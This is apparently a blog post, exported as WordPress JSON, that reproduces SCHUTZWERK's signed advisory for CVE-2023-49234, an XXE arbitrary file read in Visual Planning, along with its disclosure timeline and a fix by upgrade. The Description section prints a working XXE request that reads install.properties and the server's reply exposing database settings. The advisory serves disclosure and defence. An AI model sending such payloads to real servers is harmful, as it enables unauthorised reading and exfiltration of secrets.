{"id":56094,"date":"2024-04-05T23:30:18","date_gmt":"2024-04-05T19:30:18","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177961\/SCHUTZWERK-SA-2023-006.txt"},"modified":"2024-04-05T23:30:18","modified_gmt":"2024-04-05T19:30:18","slug":"visual-planning-8-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/visual-planning-8-arbitrary-file-read\/","title":{"rendered":"Visual Planning 8 Arbitrary File Read"},"content":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;<br \/>Hash: SHA512<\/p>\n<p>Title<br \/>=====<\/p>\n<p>SCHUTZWERK-SA-2023-006: Arbitrary File Read via XML External Entities in <br \/>Visual Planning<\/p>\n<p>Status<br \/>======<\/p>\n<p>PUBLISHED<\/p>\n<p>Version<br \/>=======<\/p>\n<p>1.0<\/p>\n<p>CVE reference<br \/>=============<\/p>\n<p>CVE-2023-49234<\/p>\n<p>Link<br \/>====<\/p>\n<p>https:\/\/www.schutzwerk.com\/advisories\/schutzwerk-sa-2023-006\/<\/p>\n<p>Text-only version:<br \/>https:\/\/www.schutzwerk.com\/advisories\/SCHUTZWERK-SA-2023-006.txt<\/p>\n<p>Affected products\/vendor<br \/>========================<\/p>\n<p>All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.<\/p>\n<p>Summary<br \/>=======<\/p>\n<p>Authenticated attackers can exploit a weakness in the XML parser <br \/>functionality of the Visual Planning[0] application in order to obtain <br \/>read access to arbitrary files on the application server. Depending on <br \/>configured access permissions, this vulnerability could be used by an <br \/>attacker to exfiltrate secrets stored on the local file system.<\/p>\n<p>Risk<br \/>====<\/p>\n<p>An attacker can use the vulnerability to gather information and <br \/>depending on the stored data, exfiltrate secrets from the file system. <br \/>Furthermore, HTTP requests can be used for out-of-bands exfiltration and <br \/>possibly server side request forgery (SSRF) attacks.<\/p>\n<p>Description<br \/>===========<\/p>\n<p>During a recent red teaming assessment, Visual Planning was identified <br \/>as part of the customers internet-facing assets. The software is <br \/>developed by STILOG I.S.T. and provides resource management and <br \/>scheduling features. A security assessment conducted by SCHUTZWERK found <br \/>an arbitrary file read vulnerability via XML external entities in Visual <br \/>Planning.<br \/>The application Admin Center (vpadmin) communicates with the server <br \/>through an XML-based protocol that utilizes proprietary compression <br \/>methods and is transmitted via HTTP. SCHUTZWERK implemented a custom <br \/>proxy as part of an assessment in order to intercept and manipulate the <br \/>messages exchanged between application and server.<\/p>\n<p>One of the messages sent by the Admin Center application after <br \/>authentication is the following:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.parameters.GetApplicationProperty&gt;<br \/>&lt;defaultValue&gt;<\/p>\n<p>&lt;\/defaultValue&gt;<br \/>&lt;propertyName&gt;PWD&lt;\/propertyName&gt;<br \/>&lt;rawResult&gt;false&lt;\/rawResult&gt;<br \/>&lt;section&gt;INSTALLDATA&lt;\/section&gt;<br \/>&lt;userSession isNull=&#8221;true&#8221;\/&gt;<br \/>&lt;\/com.visualplanning.query.parameters.GetApplicationProperty&gt;<\/p>\n<p>The method GetApplicationProperty is called to request the value of the <br \/>property PWD. The server responds with an XML message, where the value <br \/>element contains the response of the query:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.result.ApplicationPropertyResult&gt;<br \/>&lt;resultValues\/&gt;<br \/>&lt;status&gt;OK&lt;\/status&gt;<br \/>&lt;value&gt;<\/p>\n<p>&lt;\/value&gt;<br \/>&lt;\/com.visualplanning.query.result.ApplicationPropertyResult&gt;<\/p>\n<p>In this response it was observed that if the requested property value <br \/>could not be resolved, the content of the request element defaultValue <br \/>will be reflected as part of the response, making it a suitable back <br \/>channel for XML external entity (XXE) injections.<\/p>\n<p>The following message was sent to the Visual Planning application:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;!DOCTYPE foo [&lt;!ENTITY example SYSTEM <br \/>&#8220;C:\\xampp2\\tomcat\\webapps\\vplanning\\configuration\\install.properties&#8221;&gt; ]&gt;<br \/>&lt;com.visualplanning.query.parameters.GetApplicationProperty&gt;<br \/>&lt;defaultValue&gt;&amp;example;&lt;\/defaultValue&gt;<br \/>&lt;propertyName&gt;ShowBackground&lt;\/propertyName&gt;<br \/>&lt;rawResult&gt;false&lt;\/rawResult&gt;<br \/>&lt;section&gt;Application&lt;\/section&gt;<br \/>&lt;userSession isNull=&#8221;true&#8221;\/&gt;<br \/>&lt;\/com.visualplanning.query.parameters.GetApplicationProperty&gt;<\/p>\n<p>The server responds with the content of the requested install.properties <br \/>file inside the value element, thus confirming the XML parser is <br \/>vulnerable to XML external entity (XXE) injections:<\/p>\n<p>&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;UTF-8&#8243;?&gt;<br \/>&lt;com.visualplanning.query.result.ApplicationPropertyResult&gt;<br \/>&lt;resultValues\/&gt;<br \/>&lt;status&gt;OK&lt;\/status&gt;<br \/>&lt;value&gt;#<br \/>#Tue Oct 03 15:37:33 CEST 2023<br \/>INSTALLDATA.INSTALLSERIAL=<br \/>INSTALLDATA.INSTALLURL=http\\:\/\/127.0.0.1\\:8080\/vplanning<br \/>INSTALLDATA.OK=Next<br \/>INSTALLDATA.PAGE=PROVIDER<br \/>INSTALLDATA.POOLMODE=1<br \/>INSTALLDATA.PORT=3306<br \/>INSTALLDATA.PROVIDERTYPE=MySQL<br \/>INSTALLDATA.PWD=ENCODE\\:<br \/>INSTALLDATA.SERVER=127.0.0.1<br \/>INSTALLDATA.SERVERLANG=de<br \/>INSTALLDATA.USER=root<br \/>INSTALLDATA.VIEWERSERIAL=<br \/>&lt;\/value&gt;<br \/>&lt;\/com.visualplanning.query.result.ApplicationPropertyResult&gt;<\/p>\n<p>Further testing showed that out-of-bands exfiltration via HTTPS requests <br \/>is also generally possible.<\/p>\n<p>Solution\/Mitigation<br \/>===================<\/p>\n<p>The vendor suggests to update to Visual Planning 8 (Build 240207)<\/p>\n<p>Disclosure timeline<br \/>===================<\/p>\n<p>2023-11-01: Vulnerability discovered<br \/>2023-11-09: Contact vendor in order to determine security contact<br \/>2023-11-10: Received generic sales response from vendor<br \/>2023-11-14: Contacted CTO of vendor directly<br \/>2023-11-16: Vulnerabilities demonstrated in call with contact at vendor<br \/>2023-11-24: CVE assigned by Mitre<br \/>2023-11-24: Additional technical details provided to vendor<br \/>2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings <br \/>is in progress<br \/>2024-01-30: Inquired about mitigation status regarding the reported <br \/>vulnerabilities<br \/>2024-01-30: Vendor informed SCHUTZWERK that some of the issues were <br \/>already fixed<br \/>2024-03-08: Sent advisory drafts to vendor<br \/>2024-03-28: Received patch information and release of advisory<\/p>\n<p>Contact\/Credits<br \/>===============<\/p>\n<p>The vulnerability was discovered during an assessment by Lennert Preuth <br \/>and David Brown of SCHUTZWERK GmbH.<\/p>\n<p>References<br \/>==========<\/p>\n[0] https:\/\/www.visual-planning.com\/en\/<\/p>\n<p>Disclaimer<br \/>==========<\/p>\n<p>The information provided in this security advisory is provided &#8220;as is&#8221; <br \/>and without warranty of any kind. Details of this security advisory may <br \/>be updated in order to provide as accurate information as possible. The <br \/>most recent version of this security advisory can be found at SCHUTZWERK <br \/>GmbH&#8217;s website ( https:\/\/www.schutzwerk.com ).<\/p>\n<p>Additional information<br \/>======================<\/p>\n<p>SCHUTZWERK Advisories: https:\/\/www.schutzwerk.com\/blog\/tags\/advisories\/<\/p>\n<p>SCHUTZWERK Advisory Policy: https:\/\/www.schutzwerk.com\/en\/advisories\/<br \/>&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>iQJOBAEBCgA4FiEEgLsg7Oj\/wY3LSF87GrXfkTIXLrsFAmYF0bcaHGFkdmlzb3Jp<br \/>ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsdwA\/+MyfbZTe36+AYi9q6GJE6<br \/>S75Xm2aZtEM3NC5F6aMcELqFEW7LNjERmBoqfkHe+SWfgFxeCXl\/XelHaNnR7HTM<br \/>ZZPCGwJmOI+XaraInPVdCDw1QVIdiCG4VZzE0tlnFbLBgM+OTOxcDOoG7OhzP6mm<br \/>ALfankzxu3AfbZhwebQtSXIQ+YqjitTsvjQGPleylqYK5CJbChsyvmMjomu\/GzdO<br \/>sWQ25ODCVUy6VORet8yn5OkQnM2CjSkteuTdNxCzd6JUB+vQ0g5FCE5NVzkqYq21<br \/>YJ4Fc3PgkyAnrGefSbueL+Z\/K6btM8RysJAwGahIEOdlkG8W\/p09L0QQUGERT2VN<br \/>UO6oTi\/1OyoJBV9L5umr6aHss3P92ln90UAUW2dlZOdGSB8rlXisxLC1wtFZAXH9<br \/>YwiGY\/ACXmV1FtQQpgFxfNRyEWaltU5S0Y0bPAaW+ABSMLlK4X0Ft9E\/4s4Yel2d<br \/>TGngEnVKcR\/PKNtrJbBqPDwt98R0MdQi0QxBRaxGxAg4Yr1qex8ph6IRT7bDTm0\/<br \/>1CKlQL7y9uvXlnFE4CO3IkKNp0ejKn3A7QEep4jit07VItIc+sRsoMnB6v54DoML<br \/>ZfIisDoijb3doTNieyMpgTGZTDWLwLO36IS9JiqafNCAnngExqylFX6vYQVggtRz<br \/>mZ2yA2\/9ZfQwOawEirQtQr8=<br \/>=TUGM<br \/>&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/p>\n<p>&#8212; <br \/>SCHUTZWERK GmbH, Pfarrer-Wei\u00df-Weg 12, 89077 Ulm, Germany<br \/>Zertifiziert \/ Certified ISO 27001, 9001 and TISAX<\/p>\n<p>Phone +49 731 977 191 0<\/p>\n<p>advisories@schutzwerk.com \/ www.schutzwerk.com<\/p>\n<p>Gesch\u00e4ftsf\u00fchrer \/ Managing Directors:<br \/>Jakob Pietzka, Michael Sch\u00e4fer<\/p>\n<p>Amtsgericht Ulm \/ HRB 727391<br \/>Datenschutz \/ Data Protection www.schutzwerk.com\/datenschutz<\/p>\n","protected":false},"excerpt":{"rendered":"<p>&#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;Hash: SHA512 Title===== SCHUTZWERK-SA-2023-006: Arbitrary File Read via XML External Entities in Visual Planning Status====== PUBLISHED Version======= 1.0 CVE reference============= CVE-2023-49234 Link==== https:\/\/www.schutzwerk.com\/advisories\/schutzwerk-sa-2023-006\/ Text-only version:https:\/\/www.schutzwerk.com\/advisories\/SCHUTZWERK-SA-2023-006.txt Affected products\/vendor======================== All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T. Summary======= Authenticated attackers can exploit a weakness in the XML parser functionality of &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56094","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56094","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56094"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56094\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56094"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56094"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56094"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}